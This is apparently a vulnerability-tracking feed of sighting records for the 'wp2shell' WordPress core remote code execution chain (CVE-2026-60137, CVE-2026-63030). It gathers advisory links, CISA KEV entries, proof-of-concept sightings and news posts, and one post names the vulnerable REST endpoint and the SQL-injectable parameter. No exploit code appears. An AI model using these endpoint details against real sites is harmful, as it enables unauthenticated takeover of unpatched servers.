"8ac482a7-93bd-41e0-b37b-5399dec09612", "content": "New.\nPicus: CVE-2026-63030 and CVE-2026-60137 (wp2shell): WordPress RCE Explained https://www.picussecurity.com/resource/blog/cve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained #infosec #vulnerability #WordPress", "url": "https://infosec.exchange/users/AAKL/statuses/116952985194975490"}, {"timestamp": "2026-07-20T16:11:49.799Z", "date_only": false, "value": "2026-07-20T16:11:49.799827Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3ooy4ql22c", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "8941dfc8-640e-497d-9977-6aec6a1e3bd6", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3ooy4ql22c"}, {"timestamp": "2026-07-20T16:53:39.973Z", "date_only": false, "value": "2026-07-20T16:53:39.973191Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/wdormann/statuses/116953344790464812", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c4b8c297-a126-4882-8c9d-51833e8d834e", "content": "WordPress is used on plenty of websites these days. And unlike vulnerabilities in WordPress plugins, which seem to happen every hour of every day, a vulnerability in WordPress core is kind of a big deal.  This exploit must be doing something very clever, right?\nNo.\nThe endpoint reachable via /?rest_route=/batch/v1 simply takes an author_exclude argument and splats it into a SQL statement.  No need for fancy ' OR 1=1 -- stuff.  Just provide SQL to execute, and WordPress executes it.\nCVE-2026-60137 is this SQL injection stuff, which TBH would make WebGoat blush at. (Nobody would do this ITW)\nCVE-2026-63030 is the REST endpoint route confusion which allows an unauthenticated attacker to reach the vulnerable (to SQL injection) endpoint.\nAt the the point that you have anonymous SQL injection, there are a few steps to get RCE as the user that WordPress runs as.  Throw in any of the bazillion Linux LPEs out there and you can have an attack chain that compromises the entire system.\nOn the upside, the default install of WordPress has an auto-update mechanism enabled by default. And the check happens if it's been more than 12 hours since the last update check. And in the case of my vulnerable VM snapshot from the weekend, it will be updated automatically immediately on boot if it has internet connectivity.", "url": "https://infosec.exchange/users/wdormann/statuses/116953344790464812"}, {"timestamp": "2026-07-20T17:09:04.255Z", "date_only": false, "value": "2026-07-20T17:09:04.255951Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3rvbiccf2u", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "c7826686-2251-4379-9bbc-ef8a5dfc5213", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3rvbiccf2u"}, {"timestamp": "2026-07-20T17:16:28.531Z", "date_only": false, "value": "2026-07-20T17:16:28.531861Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mr3sck6gce2g", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8102ef19-4815-440f-8c34-64a9971d9bb1", "content": "wp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Core\n\n", "url": "https://bsky.app/profile/arc-codex.com/post/3mr3sck6gce2g"}, {"timestamp": "2026-07-20T18:00:04.308Z", "date_only": false, "value": "2026-07-20T18:00:04.308034Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94345", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1dafac56-c85f-46fa-ad8e-de4ca7c49b77", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Wordpress-TOWN\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lucifer0xf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 16:28:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated Remote Code Execution (RCE) in WordPress Core allows attackers to execute arbitrary code without logging in by chaining CVE-2026-63030 and CVE-2026-60137, potentially leading to full site compromise.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94345"}, {"timestamp": "2026-07-20T18:00:04.627Z", "date_only": false, "value": "2026-07-20T18:00:04.627645Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/FDMKvNPIu9DVJe1ShZsaOgvp3N-Hw55ecDYO_07oxLxjtOE", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a3b1cc42-b784-41cf-94fd-594953cabd34"}, {"timestamp": "2026-07-20T18:00:04.809Z", "date_only": false, "value": "2026-07-20T18:00:04.809912Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ERt8GGFekkTS_ieiBVGmLfcxPIuM72rFTxS1aPb6SalOFNw", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c7d5d78a-459e-4953-aa82-5725b1d5311f"}, {"timestamp": "2026-07-20T18:00:04.936Z", "date_only": false, "value": "2026-07-20T18:00:04.936470Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/aeP7rxdaeHgi9l7o5IqMQwPBOzJ-JvO8EcqSGGDOp43yc4w", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "63cc3db9-6979-40d1-8903-7573605c01ed"}, {"timestamp": "2026-07-20T18:00:05.087Z", "date_only": false, "value": "2026-07-20T18:00:05.087313Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/9tpNlnwjVZVYwuWejBnBA-eWQSN8G2bIqRE_fuaoLBUZlFA", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d7b70bc8-a0c9-4c50-98c2-2a5232762ea6"}, {"timestamp": "2026-07-20T18:00:05.198Z", "date_only": false, "value": "2026-07-20T18:00:05.198875Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/I861C3_8swM8Zs6o-xbOmuIlEkRcvzkBqQS3mepOhzC8vJk", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "02ce7083-6e7e-4d56-aa33-1b6a620fb785"}, {"timestamp": "2026-07-20T18:00:05.248Z", "date_only": false, "value": "2026-07-20T18:00:05.248021Z", "kind": "sighting", "label": "Seen", "source": "Telegram/NvyRAPdfWiHuFnDgCWisEYzfqycyb2H27n16VkLUJ0UfwkQ", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "efa79be2-17c3-4b5d-a6b9-ff7497e55297"}, {"timestamp": "2026-07-20T18:00:05.343Z", "date_only": false, "value": "2026-07-20T18:00:05.343563Z", "kind": "sighting", "label": "Seen", "source": "Telegram/JKu8MzOeWEiDh6Wy6ZRFCp9pX-H-YlUWAgYEZsV0JVERmls", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "65354cf7-9d23-49eb-9436-bbe6d64e6674"}, {"timestamp": "2026-07-20T18:00:05.510Z", "date_only": false, "value": "2026-07-20T18:00:05.510347Z", "kind": "sighting", "label": "Seen", "source": "Telegram/w6l8BPd9Q3GJFkZvi7YAaS3nfqUL8sbBpYE2TLByxwgM4Fc", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "210a43a5-a835-4002-8c3f-c0d81fb4b106"}, {"timestamp": "2026-07-20T18:00:05.613Z", "date_only": false, "value": "2026-07-20T18:00:05.613530Z", "kind": "sighting", "label": "Seen", "source": "Telegram/WNPKjULv0ephKNyiWQmiLebMVhKs5Yq19I9tIqi1CZzDTIM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "821b0d8f-86ca-4243-acdb-f70ac6c1b8dd"}, {"timestamp": "2026-07-20T18:00:05.712Z", "date_only": false, "value": "2026-07-20T18:00:05.712775Z", "kind": "sighting", "label": "Seen", "source": "Telegram/VNcCH5gAWr1JFL68o0sjgfBXXg-hp68b6HfdKkREhSwhrzw", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "4d9c63d5-af2b-4041-afb1-73867128d1ba"}, {"timestamp": "2026-07-20T18:00:05.831Z", "date_only": false, "value": "2026-07-20T18:00:05.831697Z", "kind": "sighting", "label": "Seen", "source": "Telegram/uumWHaZ1gN7bAvwXVT7WzY5HoAqs0x1gXuRvU8DEoe0NnjY", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2b074f5b-3fc3-4075-9dc9-89b4673146ad"}, {"timestamp": "2026-07-20T18:00:05.925Z", "date_only": false, "value": "2026-07-20T18:00:05.925844Z", "kind": "sighting", "label": "Seen", "source": "Telegram/CZBJvlZ1W3OH6fsaJgVtYfOnMMQCQpGY5IWdZ_FaTQwAkWo", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "cf8b1d81-533a-458b-a1ec-e67c513a8371"}, {"timestamp": "2026-07-20T18:00:06.157Z", "date_only": false, "value": "2026-07-20T18:00:06.157604Z", "kind": "sighting", "label": "Seen", "source": "Telegram/c_Rzplsy8E2pteouDdziBYUOz2Zf4p3Unq7ANnF9Z7n20HM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5d528155-9977-4118-918b-93eced991cb9"}, {"timestamp": "2026-07-20T18:00:06.262Z", "date_only": false, "value": "2026-07-20T18:00:06.262295Z", "kind": "sighting", "label": "Seen", "source": "Telegram/FAhkP69mP1IwQSaxAcFWZvu6CnSkNPg4O9iKi7h8BG1-uIM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "40e22af3-c453-4a39-a5c8-f2084a54cf42"}, {"timestamp": "2026-07-20T18:09:19.815Z", "date_only": false, "value": "2026-07-20T18:09:19.815394Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3vb2zx3m2g", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "0bd46f6e-73bc-446a-9f7c-b971a146a795", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3vb2zx3m2g"}, {"timestamp": "2026-07-20T19:08:29.546Z", "date_only": false, "value": "2026-07-20T19:08:29.546394Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3ykupw2p2e", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "55e5ad26-7178-48f5-9fe9-485a0bc1f674", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3ykupw2p2e"}, {"timestamp": "2026-07-20T19:26:20.717Z", "date_only": false, "value": "2026-07-20T19:26:20.717530Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3zks4pdj2e", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "e7f76eb8-84e9-4a77-9de4-1180f60c667d", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3zks4pdj2e"}, {"timestamp": "2026-07-20T20:00:15.754Z", "date_only": false, "value": "2026-07-20T20:00:15.754821Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr43hh35n52j", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "f036331d-9253-40ad-915e-e5f3bc52bb3a", "content": "\ud83d\udce2 Exploitation active de deux vuln\u00e9rabilit\u00e9s WordPress (CVE-2026-60137 et CVE-2026-63030)\n\ud83d\udcdd \ud83d\udcf0 **Source** : SecurityWeek \u2014 publi\u00e9 le 20 juillet \u2026\nhttps://cyberveille.ch/posts/2026-07-20-exploitation-active-de-deux-vulnerabilites-wordpress-cve-2026-60137-et-cve-2026-63030/ #CVE_2026_60137 #Cyberveille", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr43hh35n52j"}, {"timestamp": "2026-07-20T20:08:32.585Z", "date_only": false, "value": "2026-07-20T20:08:32.585132Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr43w5haf32x", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "2085d565-0e92-4775-8ecb-4232bf271a31", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr43w5haf32x"}, {"timestamp": "2026-07-20T20:15:03.710Z", "date_only": false, "value": "2026-07-20T20:15:03.710946Z", "kind": "sighting", "label": "Seen", "source": "https://cyber.gc.ca/en/alerts-advisories/wordpress-security-advisory-av26-723", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "11ffb60e-e289-4a08-8045-b04444222962", "url": "https://cyber.gc.ca/en/alerts-advisories/wordpress-security-advisory-av26-723"}, {"timestamp": "2026-07-20T20:26:14.059Z", "date_only": false, "value": "2026-07-20T20:26:14.059735Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr44vvd6xf2k", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "59080d8a-ac56-4bb0-9f41-e69627e3417c", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr44vvd6xf2k"}, {"timestamp": "2026-07-20T21:08:25.751Z", "date_only": false, "value": "2026-07-20T21:08:25.751165Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr47bdkscs2l", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "75e16b77-6268-4efc-984a-3f5c7765d9d6", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr47bdkscs2l"}, {"timestamp": "2026-07-20T21:24:27.723Z", "date_only": false, "value": "2026-07-20T21:24:27.723684Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4a5y7hqv2j", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "615db1e2-051e-439d-bf67-f8b2e2dc19cc", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4a5y7hqv2j"}, {"timestamp": "2026-07-20T21:59:55.167Z", "date_only": false, "value": "2026-07-20T21:59:55.167607Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mr4c5g2tg72o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8d4dbc85-9e04-4077-b582-4a4c7fec7a0e", "content": "\ud83e\udd16 CVE-2026-60137 + CVE-2026-63030 (WP2Shell): two WordPress vulns chained for unauthenticated RCE, actively exploited in the wild. Millions of sites exposed.\nhttps://www.darkreading.com/cyberattacks-data-breaches/wp2shell-millions-wordpress-sites-remote-takeover", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mr4c5g2tg72o"}, {"timestamp": "2026-07-20T22:08:55.901Z", "date_only": false, "value": "2026-07-20T22:08:55.901348Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4cnjnubc2k", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "24cabf41-e655-4684-8da7-b77a068fecc2", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4cnjnubc2k"}, {"timestamp": "2026-07-20T22:24:25.469Z", "date_only": false, "value": "2026-07-20T22:24:25.469137Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4dja3xsv2y", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "c0574ea0-03ac-4da9-9f29-beccb3ae595f", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4dja3xsv2y"}, {"timestamp": "2026-07-20T23:02:17.962Z", "date_only": false, "value": "2026-07-20T23:02:17.962444Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mr4fmwxlzv2g", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c24851db-2324-4199-a1f0-035ee76ca2f8", "content": "'WP2Shell' Opens Millions of WordPress Sites to Remote Takeover\nBarely three days after disclosure, attackers are widely chaining together CVE-2026-60137 and CVE-2026-63030 to lob exploit attempts against one of the largest attack surfaces on\u2026\n\n\ud83d\udd17 https://hnow.live/a/cf051d72", "url": "https://bsky.app/profile/happeningnow.news/post/3mr4fmwxlzv2g"}, {"timestamp": "2026-07-20T23:08:32.690Z", "date_only": false, "value": "2026-07-20T23:08:32.690146Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4fy4kjga2n", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "cd49cc59-5fdb-463a-baad-37bfc9c461e5", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4fy4kjga2n"}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": false, "value": "2026-07-21T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2026-60137", "field": "timestamps.asserted_at", "uuid": "b3cb9cb7-62cf-4de4-b912-478080bf470a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": true, "value": "2026-07-21", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-60137", "field": "containers.adp.0.metrics.1.other.content.dateAdded"}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": true, "value": "2026-07-21", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2026-60137", "field": "evidence.0.details.date_added", "uuid": "b3cb9cb7-62cf-4de4-b912-478080bf470a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": false, "value": "2026-07-21T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2026-60137", "field": "timestamps.first_seen_at", "uuid": "b3cb9cb7-62cf-4de4-b912-478080bf470a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": false, "value": "2026-07-21T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2026-60137", "field": "status.status_updated_at", "uuid": "b3cb9cb7-62cf-4de4-b912-478080bf470a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T00:00:38.652Z", "date_only": false, "value": "2026-07-21T00:00:38.652349Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/true_secator/8423", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "18c6d132-001c-4b83-b244-0e9ae4a58c5a", "content": "\u0412 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 wp2shell, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u044f\u0434\u0440\u043e WordPress. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 WordPress 6.9.5 \u0438 7.0.2 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a wp2shell.\n\n\u0410\u0442\u0430\u043a\u0430 wp2shell \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-63030 \u0438 CVE-2026-60137, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.x \u0438 7.0.x.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u0443\u044d\u0441\u043e\u043c \u0438\u0437 Searchlight Cyber, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0438 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WordPress \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Searchlight Cyber, \u0431\u043e\u043b\u0435\u0435 500 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 WordPress, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 \u0438\u043b\u0438 6.9.5.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 